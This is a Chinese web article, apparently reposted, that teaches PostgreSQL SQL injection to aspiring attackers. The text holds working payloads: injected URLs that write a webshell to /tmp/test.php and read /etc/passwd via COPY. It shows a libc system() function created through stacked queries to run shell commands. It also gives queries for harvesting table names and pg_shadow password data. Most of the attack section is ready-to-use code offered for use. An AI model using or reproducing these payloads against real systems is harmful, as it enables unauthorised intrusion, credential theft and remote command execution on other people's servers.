黑客如何用postgresql注入黑掉网站
创始人
2024-06-21 03:11:05
0

PostgreSQL是一个强大开源的关系数据库系统.它经过了15年多的开发历程,一个经得起考验的体系结构,在可靠性、数据完整性和正确性方面赢得了极好的声誉.它运行在所有主要的操作系统上,包括Linux、UNIX (AIX, BSD, HP-UX, SGI IRIX, Mac OS X, Solaris, Tru64)和Windows. 它是完全符合ACID原则,完全支持外键、联合、视图、触发器和存储过程(多种语言)。

它包含了SQL92和SQL99的大部分数据类型,包括INTEGER,NUMERIC,BOOLEAN,CHAR,VARCHAR,DATE,INTERVAL和TIMESTAMP.它也支持存储二进制巨型对象,包括图片、声音和视频.它有本地编程接口,C/C++、Java、.Net、Perl、Python、Ruby、Tcl、ODBC,其中还有特别的文档.PostgreSQL以执行标准为傲。

它强有力地实现了ANSI-SQL 92/99标准.它充分支持子查询(包括FROM子句的子选择) 、提交读(read-committed)、序列化事务隔离级别.虽然PostgreSQL有一个完全关系系统编目(catalog)它自己支持每数据库多重纲要(schema),它的编目也可以通过SQL标准定义的纲要信息(Information Schema)来存取.数据完整性功能包括(复合)主键、限制和级联更新/删除的外键、CHECK约束、UNIQUE约束和非空约束.它也有许多扩展和高级功能.其中有为了方便按顺序自动增加列值,LIMIT/OFFSET允许返回部分结果集.PostgreSQL支持符合、惟一、局部和函数索引,可以使用B-tree,R-tree,hash,或者GiST存储方法中的任一个。

安装

1.windows下:在官网(http://www.postgresql.org)下载windows下安装包,目前最新版本是8.3的,这里需要注意下,安装PostgreSQL时会在系统用户中添加一个postgres用户,而且在windows下的Postgresql密码自带有类似于安全策略的东西,设置密码是需要复杂度和长度的限制.安装好后,需要配置系统环境变量,把../PostgreSQL/bin添加到系统环境变量,这样的话,可以直接在cmd中执行psql(类似于mysql在windows下的mysql.exe)。

2.*nix下安装:可以到官网下载相应的安装包或者在线安装,安装过程不会出现设置密码这个步骤,默认密码是空,使用psql的时候需要切换postgres用户登录就可以了。

基本语法

既然是数据库当然遵循SQL语言,create、insert、update等被称为PL/PgSQL,但不是很明确,一个数据库的语法太多了,只说下对小黑们有用的几个语法。

1.注释、结束标记、连接符
a.PostgreSQL既然遵循SQL语言,当然支持--注释;
b.PostgreSQL支持/*和/**/注释,这点类似于Mysql;
c.PostgreSQL数据库使用psql的时候,需要在命令后加上;(分号)或者是\g来表示语句已经结束以执行查询.
d.PostgreSQL是采用||符号来连接字符串的,注意使用^,小心|被转义。

2.自动匹配
PostgreSQL不像Mysql能够自动匹配字段,这点类似于oracle,所以在注入的时候要注意下,而且默认情况下是支持union查询的;

3.连接PostgreSQL

默认情况下是不给外连的,如果想远程管理PostgreSQL数据库的话,需要修改../PostgreSQL/data/pg_bha.conf文件,请参考        PostgreSQL学习手册.PostgreSQL默认用户是postgres(类似于mysql的root),默认端口是5432,默认系统库是postgres。

使用psql -h ip -d dataname -p port -U username,这里注意-U参数是大写,如果是本机采用默认安装的话,直接使用psql -U     postgres后会提示输入密码,正确输入密码后会出现postgres=#的字符(类似于mysql中的mysql>),就可以正常使用psql了。

\? 显示pgsql命令的说明
\h 显示sql命令的说明
\q 是退出
\l 是现实系统中所有的数据库

4.pgAdmin III和phpPgAdmin
a.pgAdmin III是PostgreSQL中自带的界面化数据库管理程序,可以查询PostgreSQL数据库中所有域、函数、序列、数据表结构及相关属性、触发器函数、视图等。

b.phpPgAdmin看名字就知道类似mysql的phpMyAdmin,是使用php开发的网页版数据库管理程序,功能非常强大,使用过phpMyAdmin的朋友   都知道phpMyAdmin的强大,phpPgAdmin针对PostgreSQL数据库一样强大。

注入PostgreSQL

既然PostgreSQL是RDBMS,所以系统中所有数据库的结构会保存系统库中,所以注入的时候就相对比较方便。由于注释方式和mysql是一样,如何判断是什么数据库?关于这点我也没有一个标准的答案,我想可以扫描5432端口(如何web和库没有分离的情况下),使用version()函数的返回结果来判断,直接使用查询语句如select * from pg_class/select * from pg_group的返回结果来判断数据库类型.由于PostgreSQL的目录页存在information_schema,我手上也没有PostgreSQL数据库的注射点,所以我也不知道能不能使用select schema_name from information_schema_schemata来判断,不好意思,关于使用information_schema只是我的想法,有条件的朋友验证下。

介绍下PostgreSQL中内置函数、表和视图在入侵的应用。
current_database()    当前数据库名字    
session_user          会话用户                         |
current_user          目前执行环境中的用户名   |这三个函数调用时候不需要加()
user                      和session_user一样          |
inet_client_port()    远程端口
cast(sourcetype AS targettype)   定义类型转换            
current_setting()     以查询形式获取setting_name 设置的当前值
convert()             编码转换
pg_stat_user_tables   存放系统所有表名的视图,关键字段是relname,使用select relname from pg_stat_user_tables limit offset,1 来达到逐个读取表名的目的
pg_stat_all_tables    和pg_stat_all_tables视图功能一样
pg_shadow             看到shadow大家是否想到/etc/shadow,此表包含数据库用户的信息,关键字段username、passwd和usesuper(超级用户的意思),不过此表被做了权限设置
pg_user               这个表结构和pg_shadow一样,不过此表的全局可读,passwd字段可能被清空或者加密
pg_group              定义组以及哪些用户属于哪个组的信息,关键字段groname
information_schema.columns 这个目录对象中保存了所有的字段,关键字段是column_name,使用select column_name from   information_columns where table_name=tablename limit offset,1这样就可以达到读取每个表名的字段

读文件

首先需要建立一个表,然后copy文件内容到表中,在读取表内容,思路是这样的
create table read (line text);
copy read from '/etc/passwd';alter table read add id serial--
select * from read;
drop read;
思路就是这样的,具体怎么使用就看大家自己发挥了(encode,^_^)

从PostgreSQL 8.2后加入了pg_file_read(text,text,bool)和pg_file_write(text,text,bool),看名字就应该知道是干什么用的吧,大家自己去挖掘吧!

if(empty($_GET['action']))
{

?>
   


       
       
       
       
       
       
       
   
   


    exit;
}

if(!empty($_GET['action']))//连接postgresql
{
    if(!empty($_POST['pghost']))
        $_SESSION['pghost']=$_POST['pghost'];
    if(!empty($_POST['pgport']))
      $_SESSION['pgport']=$_POST['pgport'];
    if(!empty($_POST['pgdbname']))
      $_SESSION['pgdbname']=$_POST['pgdbname'];
    if(!empty($_POST['pgusername']))
        $_SESSION['pgusername']=$_POST['pgusername'];
    if(!empty($_POST['pgpassword']))
    $_SESSION['pgpassword']=$_POST['pgpassword'];
$dbconn_string = "host={$_SESSION['pghost']} port={$_SESSION['pgport']} dbname={$_SESSION['pgdbname']} user={$_SESSION['pgusername']} password={$_SESSION['pgpassword']}";      
    $dbconn=pg_connect($dbconn_string);
   
    if(!$dbconn)
    {
        die('failed linking to the server,please check reset' );
    }
    else
        echo '^_^ connected successfully and the status is '.pg_connection_status($dbconn).'

';   
}


 

如何获得webshell 
http://127.0.0.1/postgresql.php?id=1;create%20table%20fuck(shit%20text%20not%20null);  

http://127.0.0.1/postgresql.php?id=1;insert into fuck values($$$$);  


http://127.0.0.1/postgresql.php?id=1;copy%20fuck(shit)%20to%20$$/tmp/test.php$$; 

如何读文件 
http://127.0.0.1/postgresql.php?id=1;create table myfile (input TEXT);  
http://127.0.0.1/postgresql.php?id=1;copy myfile from ‘/etc/passwd’;  
http://127.0.0.1/postgresql.php?id=1;select * from myfile; 

执行命令有两种方式,一种是需要自定义的lic函数支持,一种是用pl/python支持的。 
当然,这些的postgresql的数据库版本必须大于8.X。

创建一个system的函数: 
CREATE FUNCTION system(cstring) RETURNS int AS ’/lib/libc.so.6’, ’system’ LANGUAGE ’C’ STRICT

创建一个输出表: 
CREATE TABLE stdout(id serial, system_out text) 

执行shell,输出到输出表内: 
SELECT system(’uname -a > /tmp/test’) 

copy 输出的内容到表里面; 
COPY stdout(system_out) FROM ’/tmp/test’ 

从输出表内读取执行后的回显,判断是否执行成功

SELECT system_out FROM stdout 

下面是测试例子

/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- /store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS 
’/lib/libc.so.6’,’system’ LANGUAGE ’C’STRICT --/store.php?id=1; SELECT system(’uname -a > /tmp/test’) --/store.php?id=1; COPY stdout(system_out) FROM ’/tmp/test’ --/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out 
ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--

【编辑推荐】

  1. 专题:数据库安全技术专题
  2. 专题:网站常见的攻击与防御
  3. Web应用防火墙是如何为客户提供防护的
  4. 选择硬件防火墙时你应注意的十件事
  5. 深入理解防火墙 有效屏蔽外界的攻击
  6. 防火墙功能分类及其局限性介绍分析
  7. Windows 7 SP1缘何会在正式版之前露面?
  8. 美韩作战计划泄漏 敏感部门USB使用需谨慎
  9. DDoS来袭Amazon圣诞节遭殃 DNS防护不可回避 

相关内容

热门资讯

如何允许远程连接到MySQL数... [[277004]]【51CTO.com快译】默认情况下,MySQL服务器仅侦听来自localhos...
如何利用交换机和端口设置来管理... 在网络管理中,总是有些人让管理员头疼。下面我们就将介绍一下一个网管员利用交换机以及端口设置等来进行D...
施耐德电气数据中心整体解决方案... 近日,全球能效管理专家施耐德电气正式启动大型体验活动“能效中国行——2012卡车巡展”,作为该活动的...
Windows恶意软件20年“... 在Windows的早期年代,病毒游走于系统之间,偶尔删除文件(但被删除的文件几乎都是可恢复的),并弹...
20个非常棒的扁平设计免费资源 Apple设备的平面图标PSD免费平板UI 平板UI套件24平图标Freen平板UI套件PSD径向平...
德国电信门户网站可实时显示全球... 德国电信周三推出一个门户网站,直观地实时提供其安装在全球各地的传感器网络检测到的网络攻击状况。该网站...
着眼MAC地址,解救无法享受D... 在安装了DHCP服务器的局域网环境中,每一台工作站在上网之前,都要先从DHCP服务器那里享受到地址动...
为啥国人偏爱 Mybatis,... 关于 SQL 和 ORM 的争论,永远都不会终止,我也一直在思考这个问题。昨天又跟群里的小伙伴进行...
pghost:
pgport:
dbname:
username:
password: